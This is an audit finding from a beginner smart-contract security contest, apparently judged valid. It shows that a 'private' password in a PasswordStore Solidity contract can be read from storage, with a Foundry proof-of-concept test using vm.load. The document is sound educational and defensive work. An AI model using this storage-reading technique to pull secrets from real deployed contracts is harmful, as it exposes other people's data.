Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`s_password` can be read freely from anyone and not only from the owner

Summary

The PasswordStore::s_password variable is declared as private, but it is still accessible and readable by anyone outside of the contract.

Vulnerability Details

The point of getPassword() is that allows only the owner to retrieve the password but this is not the case because it is possible to read it from the storage.

Here is the PoC in foundry:

// https://ethereum.stackexchange.com/a/59335
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
while(i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function test_non_owner_reading_password_from_storage() public {
// Use load cheatcode to read the 2nd storage slot that the password is stored
bytes32 passwordStorageBytes = vm.load(address(passwordStore), bytes32(uint256(1)));
// Convert the bytes32 to string with a helper function
string memory passwordStorage = bytes32ToString(passwordStorageBytes);
vm.startPrank(owner);
// Get the password in the "intended" way
string memory password = passwordStore.getPassword();
// The `passwordStorage` must be equal to `password` to prove the bug
assertEq(passwordStorage, password);
}

Impact

Unauthorized individuals can freely inspect the stored password, potentially compromising user data privacy.

Tools Used

  • foundry

Recommendations

There is not an ideal recommendation. Even if the clear text password is replaced with a hashed one it can be still readable and opens the door to another attack scenario by front-running the transaction of sending the password. So, a refactor of the implementation is needed and you can use the msg.sender as a method of authentication instead of a password.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.